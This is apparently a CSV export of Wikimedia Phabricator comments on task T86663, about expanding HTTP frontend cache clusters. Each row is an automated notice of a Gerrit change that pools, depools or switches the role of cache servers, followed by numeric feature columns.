",,,1428674114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6153846153846154,0.8846153846153846,"Change 203331 had a related patch set uploaded (by BBlack):
T86663 5.8: switch cp3010 role

[[GERRIT_URL]]
"
441837,Expand HTTP frontend clusters with new hardware,"Change 203330 had a related patch set uploaded (by BBlack):
T86663 5.8: pool 3049; depool 3010,amssq58

[[https://gerrit.wikimedia.org/r/203330]]
",,,1428674112,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.75,0.8928571428571429,"Change 203330 had a related patch set uploaded (by BBlack):
T86663 5.8: pool 3049; depool 3010,amssq58

[[GERRIT_URL]]
"
441836,Expand HTTP frontend clusters with new hardware,"Change 203329 had a related patch set uploaded (by BBlack):
T86663 5.7: repool cp3009

[[https://gerrit.wikimedia.org/r/203329]]
",,,1428674111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6,0.88,"Change 203329 had a related patch set uploaded (by BBlack):
T86663 5.7: repool cp3009

[[GERRIT_URL]]
"
441835,Expand HTTP frontend clusters with new hardware,"Change 203328 had a related patch set uploaded (by BBlack):
T86663 5.7: switch cp3009 role

[[https://gerrit.wikimedia.org/r/203328]]
",,,1428674110,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6153846153846154,0.8846153846153846,"Change 203328 had a related patch set uploaded (by BBlack):
T86663 5.7: switch cp3009 role

[[GERRIT_URL]]
"
441834,Expand HTTP frontend clusters with new hardware,"Change 203327 had a related patch set uploaded (by BBlack):
T86663 5.7: pool 3048; depool 3009,amssq57

[[https://gerrit.wikimedia.org/r/203327]]
",,,1428674109,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.75,0.8928571428571429,"Change 203327 had a related patch set uploaded (by BBlack):
T86663 5.7: pool 3048; depool 3009,amssq57

[[GERRIT_URL]]
"
441833,Expand HTTP frontend clusters with new hardware,"Change 203326 had a related patch set uploaded (by BBlack):
T86663 5.4: repool cp3006

[[https://gerrit.wikimedia.org/r/203326]]
",,,1428674108,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6,0.88,"Change 203326 had a related patch set uploaded (by BBlack):
T86663 5.4: repool cp3006

[[GERRIT_URL]]
"
441832,Expand HTTP frontend clusters with new hardware,"Change 203325 had a related patch set uploaded (by BBlack):
T86663 5.4: switch cp3006 role

[[https://gerrit.wikimedia.org/r/203325]]
",,,1428674107,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6153846153846154,0.8846153846153846,"Change 203325 had a related patch set uploaded (by BBlack):
T86663 5.4: switch cp3006 role

[[GERRIT_URL]]
"
441831,Expand HTTP frontend clusters with new hardware,"Change 203324 had a related patch set uploaded (by BBlack):
T86663 5.4: pool 3039; depool 3006,amssq56

[[https://gerrit.wikimedia.org/r/203324]]
",,,1428674106,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.75,0.8928571428571429,"Change 203324 had a related patch set uploaded (by BBlack):
T86663 5.4: pool 3039; depool 3006,amssq56

[[GERRIT_URL]]
"
441816,Expand HTTP frontend clusters with new hardware,"Change 203322 merged by BBlack:
T86663 5.3: repool cp3005

[[https://gerrit.wikimedia.org/r/203322]]",,,1428672670,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.6666666666666665,0.8333333333333334,"Change 203322 merged by BBlack:
T86663 5.3: repool cp3005

[[GERRIT_URL]]"
441815,Expand HTTP frontend clusters with new hardware,"Change 203322 had a related patch set uploaded (by BBlack):
T86663 5.3: repool cp3005

[[https://gerrit.wikimedia.org/r/203322]]
",,,1428672655,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6,0.88,"Change 203322 had a related patch set uploaded (by BBlack):
T86663 5.3: repool cp3005

[[GERRIT_URL]]
"
441811,Expand HTTP frontend clusters with new hardware,"Change 203319 merged by BBlack:
T86663 5.3: switch cp3005 role

[[https://gerrit.wikimedia.org/r/203319]]",,,1428672207,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8421052631578947,"Change 203319 merged by BBlack:
T86663 5.3: switch cp3005 role

[[GERRIT_URL]]"
441810,Expand HTTP frontend clusters with new hardware,"Change 203319 had a related patch set uploaded (by BBlack):
T86663 5.3: switch cp3005 role

[[https://gerrit.wikimedia.org/r/203319]]
",,,1428672190,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6153846153846154,0.8846153846153846,"Change 203319 had a related patch set uploaded (by BBlack):
T86663 5.3: switch cp3005 role

[[GERRIT_URL]]
"
441806,Expand HTTP frontend clusters with new hardware,"Change 203316 merged by BBlack:
T86663 5.3: pool 3038; depool 3005,amssq55

[[https://gerrit.wikimedia.org/r/203316]]",,,1428671604,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.857142857142857,0.8571428571428571,"Change 203316 merged by BBlack:
T86663 5.3: pool 3038; depool 3005,amssq55

[[GERRIT_URL]]"
441805,Expand HTTP frontend clusters with new hardware,"Change 203316 had a related patch set uploaded (by BBlack):
T86663 5.3: pool 3038; depool 3005,amssq55

[[https://gerrit.wikimedia.org/r/203316]]
",,,1428671549,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.75,0.8928571428571429,"Change 203316 had a related patch set uploaded (by BBlack):
T86663 5.3: pool 3038; depool 3005,amssq55

[[GERRIT_URL]]
"
441604,Expand HTTP frontend clusters with new hardware,"Change 203276 merged by BBlack:
T86663 5.6: repool cp3008

[[https://gerrit.wikimedia.org/r/203276]]",,,1428630143,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.6666666666666665,0.8333333333333334,"Change 203276 merged by BBlack:
T86663 5.6: repool cp3008

[[GERRIT_URL]]"
441603,Expand HTTP frontend clusters with new hardware,"Change 203276 had a related patch set uploaded (by BBlack):
T86663 5.6: repool cp3008

[[https://gerrit.wikimedia.org/r/203276]]
",,,1428630128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6,0.88,"Change 203276 had a related patch set uploaded (by BBlack):
T86663 5.6: repool cp3008

[[GERRIT_URL]]
"
441602,Expand HTTP frontend clusters with new hardware,"Change 203274 merged by BBlack:
T86663 5.6: switch cp3008 role

[[https://gerrit.wikimedia.org/r/203274]]",,,1428629872,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8421052631578947,"Change 203274 merged by BBlack:
T86663 5.6: switch cp3008 role

[[GERRIT_URL]]"
441601,Expand HTTP frontend clusters with new hardware,"Change 203274 had a related patch set uploaded (by BBlack):
T86663 5.6: switch cp3008 role

[[https://gerrit.wikimedia.org/r/203274]]
",,,1428629816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6153846153846154,0.8846153846153846,"Change 203274 had a related patch set uploaded (by BBlack):
T86663 5.6: switch cp3008 role

[[GERRIT_URL]]
"
441598,Expand HTTP frontend clusters with new hardware,"Change 203271 merged by BBlack:
T86663 5.6: pool 3047; depool 3008,amssq6[12]

[[https://gerrit.wikimedia.org/r/203271]]",,,1428629416,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8181818181818183,0.8181818181818182,"Change 203271 merged by BBlack:
T86663 5.6: pool 3047; depool 3008,amssq6[12]

[[GERRIT_URL]]"
441597,Expand HTTP frontend clusters with new hardware,"Change 203271 had a related patch set uploaded (by BBlack):
T86663 5.6: pool 3047; depool 3008,amssq6[12]

[[https://gerrit.wikimedia.org/r/203271]]
",,,1428629401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7241379310344827,0.8620689655172413,"Change 203271 had a related patch set uploaded (by BBlack):
T86663 5.6: pool 3047; depool 3008,amssq6[12]

[[GERRIT_URL]]
"
441593,Expand HTTP frontend clusters with new hardware,"Change 203270 merged by BBlack:
T86663 5.2: repool cp3007

[[https://gerrit.wikimedia.org/r/203270]]",,,1428628777,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.6666666666666665,0.8333333333333334,"Change 203270 merged by BBlack:
T86663 5.2: repool cp3007

[[GERRIT_URL]]"
441592,Expand HTTP frontend clusters with new hardware,"Change 203270 had a related patch set uploaded (by BBlack):
T86663 5.2: repool cp3007

[[https://gerrit.wikimedia.org/r/203270]]
",,,1428628745,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6,0.88,"Change 203270 had a related patch set uploaded (by BBlack):
T86663 5.2: repool cp3007

[[GERRIT_URL]]
"
441587,Expand HTTP frontend clusters with new hardware,"Change 203267 merged by BBlack:
T86663 5.5: switch cp3007 role

[[https://gerrit.wikimedia.org/r/203267]]",,,1428627885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6842105263157894,0.8421052631578947,"Change 203267 merged by BBlack:
T86663 5.5: switch cp3007 role

[[GERRIT_URL]]"
441584,Expand HTTP frontend clusters with new hardware,"Change 203267 had a related patch set uploaded (by BBlack):
T86663 5.5: switch cp3007 role

[[https://gerrit.wikimedia.org/r/203267]]
",,,1428627526,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6153846153846154,0.8846153846153846,"Change 203267 had a related patch set uploaded (by BBlack):
T86663 5.5: switch cp3007 role

[[GERRIT_URL]]
"
